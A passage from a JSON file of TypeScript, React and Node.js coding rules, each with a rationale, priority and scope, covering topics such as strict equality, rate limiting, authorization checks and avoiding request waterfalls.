unknown fields.","priority":"p0","scope":"universal"},{"title":"Limit resource consumption (rate limits, paging, batching, timeouts)","rule":"Protect APIs from DoS and cost blowups by enforcing rate limits, pagination caps, batching limits, and execution timeouts.","apiRule":"Protect APIs from DoS and cost blowups by enforcing rate limits, pagination caps, batching limits, and execution timeouts. Unbounded pagination and unrestricted batching can starve CPU/memory and create large bills (e.g., SMS/email providers, image processing, storage egress). Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Also: enforce upload size limits, memory/CPU limits via containers/serverless, per-user/per-operation throttles (OTP, password reset, purchases), and configure third-party spending limits or billing alerts.","whyItMatters":"Unbounded pagination and unrestricted batching can starve CPU/memory and create large bills (e.g., SMS/email providers, image processing, storage egress).","priority":"p0","scope":"universal"},{"title":"Always use braces for control flow blocks","rule":"Use braced blocks for if/for/while to prevent accidental logic bugs.","apiRule":"Use braced blocks for if/for/while to prevent accidental logic bugs. Unbraced blocks are easy to misread and can introduce bugs when lines are added or indentation lies. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. A single-line if may be allowed if it truly fits on one line, but braces are safer and preferred.","whyItMatters":"Unbraced blocks are easy to misread and can introduce bugs when lines are added or indentation lies.","priority":"p0","scope":"universal"},{"title":"Do not use require-style imports in TypeScript","rule":"Avoid import x = require('...'); use ES module syntax instead.","apiRule":"Avoid import x = require('...'); use ES module syntax instead. require-style imports are less compatible with modern module tooling and can complicate interoperability. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Only in legacy interop edge cases that you cannot avoid (prefer wrapping such code).","whyItMatters":"require-style imports are less compatible with modern module tooling and can complicate interoperability.","priority":"p1","scope":"universal"},{"title":"Use === and !== (avoid == and !=)","rule":"Avoid implicit coercion; only allow == null to match null or undefined together.","apiRule":"Avoid implicit coercion; only allow == null to match null or undefined together. Loose equality performs coercions that are hard to predict and can hide bugs. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Allow `x == null` / `x != null` when intentionally matching both null and undefined.","whyItMatters":"Loose equality performs coercions that are hard to predict and can hide bugs.","priority":"p0","scope":"universal"},{"title":"Do not use default exports","rule":"Use named exports to keep imports consistent and avoid ambiguous naming.","apiRule":"Use named exports to keep imports consistent and avoid ambiguous naming. Default exports have no canonical name, which makes refactors and code search harder and allows confusing import renames. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Only use default exports if you are forced by an external ecosystem you cannot change (rare).","whyItMatters":"Default exports have no canonical name, which makes refactors and code search harder and allows confusing import renames.","priority":"p1","scope":"universal"},{"title":"Only throw (or reject) Error objects","rule":"Throwing non-Errors loses stack traces and makes debugging harder.","apiRule":"Throwing non-Errors loses stack traces and makes debugging harder. Throwing strings/objects can lose stack trace information and leads to inconsistent error handling. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. When catching unknown, narrow to Error (e.g., asserts) rather than defensive handling of random types. Exceptions: Only when integrating with a known bad API that throws non-Errors; add a comment identifying the source.","whyItMatters":"Throwing strings/objects can lose stack trace information and leads to inconsistent error handling.","priority":"p1","scope":"universal"},{"title":"Use import type for type-only imports","rule":"Use import type when the symbol is only used as a type to support isolated transpilation.","apiRule":"Use import type when the symbol is only used as a type to support isolated transpilation. In some build modes (isolated transpilation), type-only imports can require explicit annotation to avoid runtime import expectations. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. You can also use: import {type User, valueThing} from './mod'; Exceptions: Use regular imports when you need the value at runtime or for side effects.","whyItMatters":"In some build modes (isolated transpilation), type-only imports can require explicit annotation to avoid runtime import expectations.","priority":"p1","scope":"stack-specific"},{"title":"Use const/let; never use var","rule":"Prefer const by default and let only when reassignment is required.","apiRule":"Prefer const by default and let only when reassignment is required. var is function-scoped and can cause subtle bugs with hoisting and unexpected captures. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Also: do not use variables before their declaration.","whyItMatters":"var is function-scoped and can cause subtle bugs with hoisting and unexpected captures.","priority":"p0","scope":"universal"},{"title":"Declare one variable per statement","rule":"Avoid comma-separated declarations for clarity and simpler diffs.","apiRule":"Avoid comma-separated declarations for clarity and simpler diffs. Multiple declarations in one statement make diffs noisier and hide intent when one variable changes. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Multiple declarations in one statement make diffs noisier and hide intent when one variable changes.","priority":"p2","scope":"universal"},{"title":"Use ES modules, not TypeScript namespaces","rule":"Organize code with files + imports/exports; avoid namespace Foo { ... }.","apiRule":"Organize code with files + imports/exports; avoid namespace Foo { ... }. Namespaces make dependency boundaries less explicit and don't compose well with modern tooling and bundlers. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Only when interfacing with external third-party code that requires namespaces.","whyItMatters":"Namespaces make dependency boundaries less explicit and don't compose well with modern tooling and bundlers.","priority":"p0","scope":"universal"},{"title":"Do not use @ts-ignore / @ts-nocheck / @ts-expect-error in production code","rule":"Fix the underlying type issue; suppressions make types unpredictable and hide real bugs.","apiRule":"Fix the underlying type issue; suppressions make types unpredictable and hide real bugs. Suppression hides type problems and can cause runtime bugs by making surrounding types unclear. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. If you must do something unsafe (rare), prefer narrowing, unknown, or local casts with an explanatory comment. Exceptions: Unit tests may use @ts-expect-error sparingly, but prefer safer alternatives even there.","whyItMatters":"Suppression hides type problems and can cause runtime bugs by making surrounding types unclear.","priority":"p0","scope":"universal"},{"title":"Do not rely on Automatic Semicolon Insertion","rule":"Always end statements with semicolons to avoid ASI edge-case bugs.","apiRule":"Always end statements with semicolons to avoid ASI edge-case bugs. ASI can turn valid-looking code into different statements depending on formatting, creating hard-to-spot bugs. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"ASI can turn valid-looking code into different statements depending on formatting, creating hard-to-spot bugs.","priority":"p1","scope":"universal"},{"title":"Avoid synchronous I/O in web request paths","rule":"Sync APIs block the event loop and can stall all requests; use async APIs instead.","apiRule":"Sync APIs block the event loop and can stall all requests; use async APIs instead. Sync file reads block the single-threaded event loop, causing slow or stuck requests under load. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Even during startup, aim for fast boot times to support log-exit-restart and autoscaling patterns. Exceptions: Short-lived CLI scripts can use sync APIs when user experience is simpler and concurrency is not required.","whyItMatters":"Sync file reads block the single-threaded event loop, causing slow or stuck requests under load.","priority":"p0","scope":"stack-specific"},{"title":"Run Node services with a restart policy (process management)","rule":"Use OS/container orchestration restart policies; avoid ad-hoc scripts that hide failures.","apiRule":"Use OS/container orchestration restart policies; avoid ad-hoc scripts that hide failures. A naive loop can mask crashes, remove backoff, and make it harder to observe and manage failures properly. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"A naive loop can mask crashes, remove backoff, and make it harder to observe and manage failures properly.","priority":"p0","scope":"stack-specific"},{"title":"Vet npm packages before adopting them","rule":"Check tests/CI, license, issues, maintainers, usage, docs, and code before adding a dependency.","apiRule":"Check tests/CI, license, issues, maintainers, usage, docs, and code before adding a dependency. Adding packages blindly increases the chance of pulling in unmaintained, insecure, or incompatible code. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Adding packages blindly increases the chance of pulling in unmaintained, insecure, or incompatible code.","priority":"p1","scope":"universal"},{"title":"Do not keep a Node process alive after an uncaught exception","rule":"Log, exit, and rely on a restart policy; recovery after uncaught exceptions can leave unknown state.","apiRule":"Log, exit, and rely on a restart policy; recovery after uncaught exceptions can leave unknown state. Continuing after an uncaught exception can leave the process in a corrupted or unsafe state, causing subtle data bugs. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: For CLI tools, you may handle and report errors without exiting immediately, but servers should prefer log-exit-restart.","whyItMatters":"Continuing after an uncaught exception can leave the process in a corrupted or unsafe state, causing subtle data bugs.","priority":"p0","scope":"stack-specific"},{"title":"Use Node.js LTS and plan safe upgrades","rule":"Run the latest Node LTS and roll upgrades through smoke tests before production.","apiRule":"Run the latest Node LTS and roll upgrades through smoke tests before production. Not pinning a supported runtime makes deployments inconsistent across machines and increases the chance of breaking changes hitting production unexpectedly. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Not pinning a supported runtime makes deployments inconsistent across machines and increases the chance of breaking changes hitting production unexpectedly.","priority":"p0","scope":"stack-specific"},{"title":"Explicitly declare dependencies and avoid relying on global installs","rule":"Deploys should work from a clean install using only declared dependencies.","apiRule":"Deploys should work from a clean install using only declared dependencies. Relying on undeclared or globally installed packages makes builds and deployments fragile and non-reproducible. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Relying on undeclared or globally installed packages makes builds and deployments fragile and non-reproducible.","priority":"p0","scope":"universal"},{"title":"Store config in environment variables","rule":"Anything that varies per deployment (DB URLs, secrets, external services) must live in env, not code.","apiRule":"Anything that varies per deployment (DB URLs, secrets, external services) must live in env, not code. Hardcoding secrets and environment-specific values leaks sensitive data and makes deployments painful and error-prone. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A config file is OK only if you can switch it per deployment without changing code (e.g., env points to a file path).","whyItMatters":"Hardcoding secrets and environment-specific values leaks sensitive data and makes deployments painful and error-prone.","priority":"p0","scope":"universal"},{"title":"Keep dev, staging, and prod as similar as possible","rule":"Avoid environment-only behavior; differences should be config and data, not code paths.","apiRule":"Avoid environment-only behavior; differences should be config and data, not code paths. When dev behaves fundamentally differently, you can’t trust staging results and you ship surprises to production. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. This comes from the 12-Factor recommendation to keep dev/staging/prod as similar as possible. Exceptions: Development-only tooling is OK (debug logs, hot reload), but business logic must remain consistent.","whyItMatters":"When dev behaves fundamentally differently, you can’t trust staging results and you ship surprises to production.","priority":"p1","scope":"universal"},{"title":"Declare dependencies explicitly and use a dependency manager","rule":"Everything the app needs must be declared in package.json and installed deterministically.","apiRule":"Everything the app needs must be declared in package.json and installed deterministically. Relying on globally installed tools or undeclared packages makes builds non-reproducible. CI or another developer machine will fail unpredictably. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Matches the 12-Factor point on explicitly declaring dependencies and not relying on system-wide packages.","whyItMatters":"Relying on globally installed tools or undeclared packages makes builds non-reproducible. CI or another developer machine will fail unpredictably.","priority":"p1","scope":"universal"},{"title":"Keep one codebase and deploy it to multiple environments","rule":"No separate repos or branches for 'local' vs 'cloud'—use config to change behavior per env.","apiRule":"No separate repos or branches for 'local' vs 'cloud'—use config to change behavior per env. Environment branching inside code encourages drift and makes it harder to reason about what runs in production. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Environment branching inside code encourages drift and makes it harder to reason about what runs in production.","priority":"p1","scope":"universal"},{"title":"Export services via port binding","rule":"The app should be self-contained and listen on a configurable port (PORT), not rely on external web servers.","apiRule":"The app should be self-contained and listen on a configurable port (PORT), not rely on external web servers. Hardcoding ports breaks container and platform deployments where the runtime assigns the port. It also makes parallel local dev harder. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. From the 12-Factor point on exporting services via port binding.","whyItMatters":"Hardcoding ports breaks container and platform deployments where the runtime assigns the port. It also makes parallel local dev harder.","priority":"p1","scope":"universal"},{"title":"Treat logs as event streams (stdout/stderr)","rule":"Apps should not manage log files—write structured logs to stdout/stderr and let the platform route them.","apiRule":"Apps should not manage log files—write structured logs to stdout/stderr and let the platform route them. Managing log files inside the app complicates deployments and breaks common production logging pipelines. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Managing log files inside the app complicates deployments and breaks common production logging pipelines.","priority":"p1","scope":"universal"},{"title":"Colocate state to reduce re-render blast radius","rule":"Keep state close to where it's used to avoid rerendering large trees unnecessarily.","apiRule":"Keep state close to where it's used to avoid rerendering large trees unnecessarily. A small UI toggle causes the entire layout (including heavy main content) to re-render. This increases work and can hurt performance as the app grows. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If state must be shared across distant components, prefer splitting providers, selectors, or composition to keep updates localized. Exceptions: If the main content must react to the state change (e.g., layout shift, resize), lifting state is valid. Still isolate heavy children where possible.","whyItMatters":"A small UI toggle causes the entire layout (including heavy main content) to re-render. This increases work and can hurt performance as the app grows.","priority":"p1","scope":"universal"},{"title":"Use portals for overlays to avoid clipping and stacking bugs","rule":"Portals prevent modals/tooltips from being clipped by overflow and stacking contexts.","apiRule":"Portals prevent modals/tooltips from being clipped by overflow and stacking contexts. Overlays rendered inside containers can be clipped by `overflow: hidden` or appear behind other stacking contexts. This produces flaky UI across layouts. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Portals keep React event bubbling intact. Still manage focus trapping and ESC/backdrop handling for accessibility (prefer headless UI libs for complex overlays). Exceptions: Simple inline popovers inside unconstrained containers may not need portals, but verify overflow and z-index behavior across breakpoints.","whyItMatters":"Overlays rendered inside containers can be clipped by `overflow: hidden` or appear behind other stacking contexts. This produces flaky UI across layouts.","priority":"p1","scope":"stack-specific"},{"title":"Prefer declarative props over imperative refs","rule":"Use refs for DOM integration only when necessary; avoid imperative APIs that bypass React data flow.","apiRule":"Use refs for DOM integration only when necessary; avoid imperative APIs that bypass React data flow. Imperative DOM mutations inside effects can be fragile and hard to reuse. As UI changes, these assumptions break and produce subtle bugs. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. For reusable imperative APIs (focus/scroll), consider exposing a small `useImperativeHandle` surface from a dedicated component instead of mutating many DOM nodes from outside. Exceptions: Refs are appropriate for focus management, measuring layout, integrating non-React libraries, and escape hatches where declarative patterns are not possible.","whyItMatters":"Imperative DOM mutations inside effects can be fragile and hard to reuse. As UI changes, these assumptions break and produce subtle bugs.","priority":"p2","scope":"universal"},{"title":"Memoize for outcomes, not habit","rule":"Use memoization when it prevents real work; avoid blanket useMemo/useCallback everywhere.","apiRule":"Use memoization when it prevents real work; avoid blanket useMemo/useCallback everywhere. Memoization adds code and cognitive overhead. If it doesn't prevent expensive rerenders or heavy computation, it becomes performance theater. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Good reasons to memoize: stabilizing Context value, preventing rerenders of memoized children, expensive derived computations, and stable dependencies for effects. Exceptions: Memoization can be used proactively in hot paths you already know are expensive, but avoid spreading it across the entire codebase without evidence.","whyItMatters":"Memoization adds code and cognitive overhead. If it doesn't prevent expensive rerenders or heavy computation, it becomes performance theater.","priority":"p2","scope":"universal"},{"title":"Do not define React components inside other components","rule":"Inline component definitions create new component identities and can cause remounts and lost state.","apiRule":"Inline component definitions create new component identities and can cause remounts and lost state. Defining a component inside another component creates a new component type on each render. This can trigger remounting of the subtree, losing state and input focus. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Inline render helpers are fine if they are not React components (do not use hooks, do not hold state) and you accept they are not visible in DevTools as components.","whyItMatters":"Defining a component inside another component creates a new component type on each render. This can trigger remounting of the subtree, losing state and input focus.","priority":"p1","scope":"stack-specific"},{"title":"Avoid stale closures in long-lived callbacks","rule":"Timers and event listeners should not read stale state; use refs or explicit dependencies.","apiRule":"Timers and event listeners should not read stale state; use refs or explicit dependencies. The interval callback captures the initial `count` value. The counter can get stuck or behave unexpectedly because the closure is stale. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. For event listeners reading changing values, combine a stable handler with a ref that stores the latest value. Exceptions: If you intentionally want a value frozen at subscription time, document the intent so readers don't 'fix' it incorrectly.","whyItMatters":"The interval callback captures the initial `count` value. The counter can get stuck or behave unexpectedly because the closure is stale.","priority":"p1","scope":"stack-specific"},{"title":"Split Context by responsibility","rule":"Separate frequently-changing state from stable actions to reduce consumer re-renders.","apiRule":"Separate frequently-changing state from stable actions to reduce consumer re-renders. Unrelated concerns are bundled into one Context. Any change (toast, sidebar) updates the same value and forces all consumers to re-render, even those only needing one part. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. If splitting into multiple contexts is too noisy, consider a reducer-based API where actions are stable and state selectors are scoped. Exceptions: For small apps with a handful of consumers, a single context may be simpler and acceptable.","whyItMatters":"Unrelated concerns are bundled into one Context. Any change (toast, sidebar) updates the same value and forces all consumers to re-render, even those only needing one part.","priority":"p1","scope":"stack-specific"},{"title":"Guard against stale async responses","rule":"Only commit async results if they belong to the latest request identity.","apiRule":"Only commit async results if they belong to the latest request identity. If userId changes quickly (navigation), an older request can resolve last and overwrite the newer profile. The UI shows the wrong user data. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Prefer AbortController when possible. Use identity guards when abort isn't available or when multiple async sources can resolve out of order.","whyItMatters":"If userId changes quickly (navigation), an older request can resolve last and overwrite the newer profile. The UI shows the wrong user data.","priority":"p1","scope":"stack-specific"},{"title":"Avoid request waterfalls in UI data fetching","rule":"Start independent requests in parallel to reduce total loading time.","apiRule":"Start independent requests in parallel to reduce total loading time. Orders are fetched only after the user request completes. For pages with multiple independent data sources, this sequential loading increases total time to interactive. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. In SSR frameworks (Next.js), prefer parallel fetching on the server (route handlers/loaders) where possible to avoid client waterfalls. Exceptions: If one request truly depends on the result of another (needs an ID), sequential fetching is required.","whyItMatters":"Orders are fetched only after the user request completes. For pages with multiple independent data sources, this sequential loading increases total time to interactive.","priority":"p1","scope":"universal"},{"title":"Cancel in-flight requests with AbortController","rule":"Abort old requests on unmount or param changes to prevent race conditions and wasted work.","apiRule":"Abort old requests on unmount or param changes to prevent race conditions and wasted work. Fast query changes can cause responses to resolve out of order. Older responses may overwrite newer results, and network work continues after the component is no longer relevant. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If you also have timeouts or parent signals, merge signals (e.g., AbortSignal.any) and still handle AbortError explicitly. Exceptions: Do not abort fire-and-forget requests that must complete (e.g., audit logs). Decouple them from UI state instead.","whyItMatters":"Fast query changes can cause responses to resolve out of order. Older responses may overwrite newer results, and network work continues after the component is no longer relevant.","priority":"p1","scope":"universal"},{"title":"Memoize Context provider values","rule":"Stable provider values prevent unnecessary re-renders across all Context consumers.","apiRule":"Stable provider values prevent unnecessary re-renders across all Context consumers. The provider recreates its value object and functions on every render. That changes the Context value reference, forcing all consumers to re-render even if they don't depend on the changed parts. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: If the provider has very few consumers and re-renders are rare, memoization may be unnecessary. Confirm with profiling before adding complexity.","whyItMatters":"The provider recreates its value object and functions on every render. That changes the Context value reference, forcing all consumers to re-render even if they don't depend on the changed parts.","priority":"p1","scope":"stack-specific"},{"title":"Render SSR-safe defaults for client measurement logic","rule":"When UI depends on client-only measurements, render a stable SSR fallback and enhance on the client.","apiRule":"When UI depends on client-only measurements, render a stable SSR fallback and enhance on the client. The initial SSR output cannot know the container width, so the first render may show the wrong number of tabs and then visibly jump after hydration/measurement. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. For critical layouts, consider CSS solutions (container queries, overflow) before JavaScript measurement. If you must measure, keep the SSR default visually acceptable. Exceptions: If the entire route is client-only and not SSR rendered, SSR defaults are less critical (but still consider first paint UX).","whyItMatters":"The initial SSR output cannot know the container width, so the first render may show the wrong number of tabs and then visibly jump after hydration/measurement.","priority":"p1","scope":"stack-specific"},{"title":"Prefer useEffect over useLayoutEffect by default","rule":"useLayoutEffect can block paint; reserve it for layout measurement that must run before paint.","apiRule":"useLayoutEffect can block paint; reserve it for layout measurement that must run before paint. useLayoutEffect runs before paint and can contribute to jank if it does non-trivial work. For scroll listeners and simple state updates, useEffect is typically sufficient. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. If you must measure layout and immediately apply style changes to avoid flicker, useLayoutEffect is appropriate. Document why. Exceptions: useLayoutEffect is acceptable for reading layout (getBoundingClientRect) and synchronously applying changes that prevent a visible jump.","whyItMatters":"useLayoutEffect runs before paint and can contribute to jank if it does non-trivial work. For scroll listeners and simple state updates, useEffect is typically sufficient.","priority":"p2","scope":"stack-specific"},{"title":"Keep component implementation files under 300 lines and colocated in their component folder","rule":"React component implementation files must stay under 300 lines, and the main component entry should live inside its own component folder. If hooks, effects, handlers, JSX, or hard-coded copy make a component grow, split the logic into hooks, child components, and dedicated constants/copy files instead of keeping one large TSX file or a stray sibling component file outside the folder.","apiRule":"React component implementation files must stay under 300 lines, and the main component entry should live inside its own component folder. If hooks, effects, handlers, JSX, or hard-coded copy make a component grow, split the logic into hooks, child components, and dedicated constants/copy files instead of keeping one large TSX file or a stray sibling component file outside the folder. This keeps the main component outside the folder that already owns its related files, and the component itself is oversized. Ownership becomes scattered across two locations and the implementation remains too large to read comfortably. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Treat this as one of the strictest frontend rules in the project. When a component starts collecting too many hooks, effects, handlers, conditional branches, or text blocks, refactor early instead of waiting for a large cleanup later. Prefer colocated hooks folders and nearby child components, and keep the main exported component entry inside that same component folder so ownership stays obvious. Exceptions: This limit applies to component implementation files, not every TypeScript file. Files that are mostly props, types, filter definitions, large option lists, copy dictionaries, mappings, config objects, or generated data may exceed 300 lines when that is the cleanest representation. Those exceptions do not justify oversized TSX component files, and they do not justify leaving the main component entry outside the folder that owns the rest of the component. Balance against avoid-needless-wrappers-around-a-single-inline-element: split a 300+ line file along real responsibility seams, not by carving out trivial single-element wrappers.","whyItMatters":"This keeps the main component outside the folder that already owns its related files, and the component itself is oversized. Ownership becomes scattered across two locations and the implementation remains too large to read comfortably.","priority":"p1","scope":"project-specific"},{"title":"Avoid blocking work on the request path","rule":"Do not run heavy or blocking operations inside request handlers; offload to async jobs.","apiRule":"Do not run heavy or blocking operations inside request handlers; offload to async jobs. Heavy work in the request path increases latency and can cause timeouts under load. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Small, fast operations can run inline, but anything heavy should be queued or precomputed.","whyItMatters":"Heavy work in the request path increases latency and can cause timeouts under load.","priority":"p1","scope":"universal"},{"title":"Avoid N+1 queries with batching or preloading","rule":"Batch related data fetching to prevent N+1 query patterns.","apiRule":"Batch related data fetching to prevent N+1 query patterns. This executes one query for posts plus one query per post (N+1), which is slow and expensive at scale. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Small, bounded lists may be acceptable, but measure and document the tradeoff.","whyItMatters":"This executes one query for posts plus one query per post (N+1), which is slow and expensive at scale.","priority":"p1","scope":"universal"},{"title":"Use transactions for multi-step writes","rule":"Wrap multi-step write operations in a transaction to prevent partial updates.","apiRule":"Wrap multi-step write operations in a transaction to prevent partial updates. If any write fails, earlier writes remain, leaving the system in an inconsistent state. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If you intentionally use a saga/outbox with compensating actions, document it and ensure consistency guarantees.","whyItMatters":"If any write fails, earlier writes remain, leaving the system in an inconsistent state.","priority":"p1","scope":"universal"},{"title":"Never hardcode secrets; validate config at startup","rule":"Load secrets from environment/config and validate them on boot; never commit keys in code.","apiRule":"Load secrets from environment/config and validate them on boot; never commit keys in code. Hardcoded secrets leak in repos, are difficult to rotate, and often end up in logs or client bundles. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Public, non-secret values (public keys, URLs) can be hardcoded, but secrets must not.","whyItMatters":"Hardcoded secrets leak in repos, are difficult to rotate, and often end up in logs or client bundles.","priority":"p0","scope":"universal"},{"title":"Enforce authorization for protected actions","rule":"Require explicit authn/authz checks before reading or mutating protected data.","apiRule":"Require explicit authn/authz checks before reading or mutating protected data. Without an explicit guard, any caller can update any user record. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Public, read-only endpoints can skip auth checks, but must be explicitly documented as public.","whyItMatters":"Without an explicit guard, any caller can update any user record.","priority":"p0","scope":"universal"},{"title":"Validate external inputs at boundaries","rule":"Validate all external inputs at the boundary and return explicit errors before using them.","apiRule":"Validate all external inputs at the boundary and return explicit errors before using them. External input can be missing or malformed. Using it directly risks crashes and corrupted data. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If an upstream boundary already validates this input, you may skip duplicate validation but must document the trust boundary.","whyItMatters":"External input can be missing or malformed. Using it directly risks crashes and corrupted data.","priority":"p0","scope":"universal"},{"title":"Use named functions in useEffect","rule":"Name effect functions to improve stack traces and make intent clearer during reviews and debugging.","apiRule":"Name effect functions to improve stack traces and make intent clearer during reviews and debugging. Anonymous effect functions are harder to identify in stack traces and code reviews. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example. Exceptions: If the effect is truly trivial (1–2 lines), an anonymous function is acceptable.","whyItMatters":"Anonymous effect functions are harder to identify in stack traces and code reviews.","priority":"p2","scope":"project-specific"},{"title":"Avoid inline event handlers in JSX","rule":"Extract event handlers into named functions to improve readability, reuse, and debugging.","apiRule":"Extract event handlers into named functions to improve readability, reuse, and debugging. Inline handlers hide intent and make it harder to reuse or test the handler logic. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example. Exceptions: Tiny components can keep inline handlers if extraction hurts readability.","whyItMatters":"Inline handlers hide intent and make it harder to reuse or test the handler logic.","priority":"p2","scope":"project-specific"},{"title":"Place one-off components near their usage","rule":"Store single-use components in a _components folder at the highest level where they are used to keep structure local and navigable.","apiRule":"Store single-use components in a _components folder at the highest level where they are used to keep structure local and navigable. One-off components living in global folders make the structure noisy and harder to navigate. It becomes unclear which components are reusable. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"One-off components living in global folders make the structure noisy and harder to navigate. It becomes unclear which components are reusable.","priority":"p2","scope":"project-specific"},{"title":"Standardize forms on React Hook Form + Zod","rule":"Use React Hook Form for state management and Zod for schemas so validation and error handling are consistent.","apiRule":"Use React Hook Form for state management and Zod for schemas so validation and error handling are consistent. Hand-rolled validation logic diverges across forms and is easy to forget. It also makes type inference and error handling inconsistent. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Prefer validation on submit + blur (mode: onSubmit, reValidateMode: onBlur). Exceptions: Live validation is acceptable when UX requires immediate feedback.","whyItMatters":"Hand-rolled validation logic diverges across forms and is easy to forget. It also makes type inference and error handling inconsistent.","priority":"p1","scope":"project-specific"},{"title":"Split server and client API boundaries","rule":"GETs go through api.server.ts; non-GETs go through the proxy + api.client.ts to keep boundaries explicit and auditable.","apiRule":"GETs go through api.server.ts; non-GETs go through the proxy + api.client.ts to keep boundaries explicit and auditable. Mixing GETs and non-GETs in the same client layer blurs boundaries and makes auditing/SSR harder. It also bypasses the intended proxy route for non-GETs. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Non-GET requests must go through src/app/api/proxy/[...catchAll]/route.ts via api.client.ts.","whyItMatters":"Mixing GETs and non-GETs in the same client layer blurs boundaries and makes auditing/SSR harder. It also bypasses the intended proxy route for non-GETs.","priority":"p1","scope":"project-specific"},{"title":"Default GETs to SSR data access","rule":"Route GET requests through the server-side data layer by default to keep data fetching centralized, cacheable, and consistent.","apiRule":"Route GET requests through the server-side data layer by default to keep data fetching centralized, cacheable, and consistent. Client-side GETs spread data fetching logic across the app and make caching and error handling inconsistent. This often increases waterfall requests and hurts performance. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Most GETs should go through src/utils/api.server.ts. Exceptions: Use client fetching only for purely client-interactive or real-time flows where SSR is not practical.","whyItMatters":"Client-side GETs spread data fetching logic across the app and make caching and error handling inconsistent. This often increases waterfall requests and hurts performance.","priority":"p1","scope":"project-specific"},{"title":"Enforce test discipline for critical paths","rule":"Identify critical flows and require explicit unit/integration/e2e coverage in CI so regressions are caught quickly.","apiRule":"Identify critical flows and require explicit unit/integration/e2e coverage in CI so regressions are caught quickly. Critical behavior is untested, so regressions can ship silently. Teams learn about failures from production incidents. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Document which paths are critical (auth, billing, onboarding) and require tests for every change. Exceptions: Pure prototypes or throwaway spikes can skip this, but production systems should not.","whyItMatters":"Critical behavior is untested, so regressions can ship silently. Teams learn about failures from production incidents.","priority":"p1","scope":"universal"},{"title":"Define performance budgets for critical paths","rule":"Set explicit thresholds for latency, bundle size, and CLS so regressions are caught before they reach users.","apiRule":"Set explicit thresholds for latency, bundle size, and CLS so regressions are caught before they reach users. Without budgets, regressions go unnoticed until users complain. Teams cannot tell if a change is acceptable. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Budgets 